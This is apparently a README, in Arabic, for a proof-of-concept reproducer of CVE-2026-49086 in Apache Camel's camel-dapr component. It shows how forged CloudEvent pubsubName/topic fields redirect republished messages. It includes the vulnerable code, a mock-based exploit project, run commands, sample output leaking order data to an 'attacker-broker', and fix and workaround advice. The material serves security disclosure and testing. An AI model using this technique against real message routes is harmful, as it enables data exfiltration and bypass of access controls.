
مُعيد إنتاج لإثبات المفهوم (PoC) لـ CVE-2026-49086 يوضح تجاوز رأس التوجيه لنائب مخدوع في Apache Camel camel-dapr، مما يتيح إعادة توجيه الرسائل واستخراج البيانات عبر حقول CloudEvent غير موثوقة.
يعرض هذا المشروع خلل تجاوز رأس التوجيه (الوكيل المخدوع) في مكون camel-dapr الخاص بـ Apache Camel، والمُتتبع كـ CVE-2026-49086.
ينسخ مستهلك Dapr للنشر/الاشتراك (DaprPubSubConsumer) حقول الحدث السحابي الوارد (غير الموثوق) إلى رؤوس رسائل التبادل. اثنان منها — pubsubName و topic — هما رؤوس توجيه باتجاه المُنتِج (CamelDaprPubSubName / CamelDaprTopic). عندما ينشر نفس المسار لاحقًا باستخدام مُنتِج dapr:pubSub، فإن DaprConfigurationOptionsProxy يفضل قيمة الرأس على القيمة المُهيأة لنقطة النهاية. لذا فإن الغلاف الوارد، الذي يتحكم فيه مرسل الرسالة غير الموثوق، يتجاوز بصمت المكان الذي يعيد المسار النشر فيه:
// DaprPubSubConsumer.createServiceBusExchange (affected 4.18.2) — untrusted envelope -> routing headers
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName()); // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC, cloudEvent.getTopic()); // CamelDaprTopic
// DaprConfigurationOptionsProxy.getOption (affected 4.18.2) — header WINS over endpoint config
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
? fallbackFn.get() // endpoint config (e.g. audit-broker/audit-log)
: exchangeFn.apply(exchange); // the header copied from the inbound CloudEvent
في مسار يستهلك من موضوع ويعيد النشر إلى موضوع آخر (نمط تدقيق/إعادة توجيه/نشر واسع شائع)، يقوم الفاعل الذي يمكنه النشر إلى الموضوع المشترك بتعيين pubsubName/topic الخاص بـ CloudEvent ويُعيد توجيه الرسالة المعاد نشرها إلى مكون Dapr للنشر/الاشتراك + موضوع عشوائي — مما يسرق الحمولة إلى وسيط يمكن للمهاجم الوصول إليه، أو يتجاوز التوجيه/قوائم التحكم بالوصول المقصودة. هذا هو الوكيل المخدوع: يعيد التطبيق النشر باستخدام بيانات اعتماد Dapr الخاصة به إلى وجهة اختارها المهاجم.
يُظهر هذا البرهان التأثير كـ إعادة توجيه الرسائل / تسريب البيانات (CWE-441، من CWE-20).
| الخصائص | القيمة |
|---|---|
| المكون | camel-dapr |
| الفئة المتأثرة | org.apache.camel.component.dapr.consumer.DaprPubSubConsumer (تعيّن رؤوس PUBSUB_NAME/TOPIC من حدث CloudEvent الوارد) |
| CWE | CWE-20 (التحقق غير الصحيح من الإدخال) / CWE-441 (الوكيل غير المقصود / الوكيل المخدوع) |
| التأثير | إعادة توجيه الرسالة المعاد نشرها إلى مكون Dapr للنشر/الاشتراك + موضوع عشوائي (تسريب / تجاوز التوجيه وACL) |
| المتطلبات المسبقة | مسار يستهلك من موضوع dapr:pubSub ويعيد النشر عبر مُنتِج dapr:pubSub؛ يمكن للمهاجم النشر إلى الموضوع المشترك |
| الإصدارات المتأثرة | 4.12.0 حتى 4.14.7، 4.15.0–4.18.2، 4.19.0–4.20.x |
| الإصدارات المُصلحة | 4.14.8، 4.18.3، 4.21.0 |
| JIRA | CAMEL-23630 (PR apache/camel#23886) |
| الفضل | Leon Zlobecki |
يمنع الإصلاح المستهلك من تعيين رأسي التوجيه (
CamelDaprPubSubName/CamelDaprTopic)؛ وتبقى رؤوس بيانات CloudEvent الأخرى دون تغيير. بعد ذلك يستخدم المُنتِج دائمًا النشر/الاشتراك + الموضوع المُهيأ لنقطة النهاية. (تمت أيضًا إضافةDaprHeaderFilterStrategyلتناسق الكتالوج، لكن تغيير رأس التوجيه هو الإصلاح الفعّال.)
الثغرة بالكامل في Camel — يقوم المستهلك بنسخ CloudEvent.pubsubName/topic إلى رؤوس التوجيه، والمُنتِج يفضل تلك الرؤوس. جانب Dapr مجرد ناقل. يحقن هذا المكرر عملاء Dapr وهميين (client=#mockClient، previewClient=#mockPreview) بحيث يتم تشغيل DaprPubSubConsumer و DaprPubSubHandler الحقيقيين دون تغيير بدون جانب: يلتقط العميل التجريبي الوهمي مستمع الاشتراك، ويسجل العميل الوهمي هدف النشر. ثم يقوم برنامج تشغيل المهاجم بتسليم حدث سحابي مزيف إلى المستمع الملتقط — تمامًا ما يفعله مرسل قادر على النشر إلى الموضوع المشترك.
from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");
يقصد المؤلف أن تنعكس كل طلب إلى audit-broker/audit-log الثابت. ولكن لأن المستهلك ينسخ pubsubName/topic من الغلاف الوارد إلى رؤوس التوجيه، فإن مُنتِج التدقيق ينشر إلى أي شيء يُسميه الغلاف — وليس أبدًا إلى تيار التدقيق المُهيأ.
CVE-2026-49086/
├── pom.xml # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitive) + spring-boot-web
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── DaprMockConfig.java # mock DaprClient + DaprPreviewClient (dynamic proxies; no sidecar)
│ ├── PublishRecorder.java # records where the producer actually published
│ ├── SubscriptionRegistry.java # captures the consumer's subscription listener
│ ├── VictimRoutes.java # dapr:pubSub subscribe -> dapr:pubSub publish (audit)
│ └── ExploitController.java # attacker: deliver forged CloudEvents; compare publish target
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49086 — تجاوز رأس التوجيه لمستهلك camel-dapr (الوكيل المخدوع) ===
نية المسار: عكس كل طلب إلى تيار تدقيق ثابت
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")
1) حدث طلب عادي (غلاف pubsub=orders-broker topic=orders)
نسخة التدقيق نُشرت فعليًا إلى: orders-broker / orders
-> بالفعل ليست audit-broker/audit-log المُهيأة: حقول التوجيه من الغلاف تسربت إلى المُنتِج.
2) حدث طلب ضار (غلاف مزيف: pubsub=attacker-broker topic=exfil-secrets)
نسخة التدقيق نُشرت فعليًا إلى: attacker-broker / exfil-secrets
بيانات الطلب المسربة: {"orderId":"A-1002","card":"4111-2222-3333-4444"}
>>> تم الإثبات: تجاوز pubsubName/topic الخاص بـ CloudEvent الوارد هدف التدقيق الثابت في المسار،
>>> لذا فإن المهاجم الذي يمكنه النشر إلى 'orders' يُعيد توجيه نسخة الطلب إلى
>>> مكون نشر/اشتراك + موضوع عشوائي (تسريب بيانات / تجاوز توجيه): true
الترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23630). بعد الإصلاح، لم يعد المستهلك يعيّن CamelDaprPubSubName / CamelDaprTopic، لذلك يستخدم مُنتِج dapr:pubSub الموجود في اتجاه تيار المستهلك dapr:pubSub مكون النشر/الاشتراك والموضوع المُهيأين لنقطة النهاية الخاصة به.
لحين الترقية، قم بإزالة رؤوس التوجيه بين المستهلك وأي مُنتِج dapr:pubSub في المسار (على سبيل المثال removeHeaders("CamelDaprPubSubName,CamelDaprTopic"))، وحدد النشر/الاشتراك + موضوع إعادة النشر من مصدر موثوق.
يُقدم هذا المكرر للبحث الأمني والاختبار المصرح به فقط، لثغرة مُعلنة ومُصلحة علنًا. لا تستخدمه ضد أنظمة دون إذن صريح.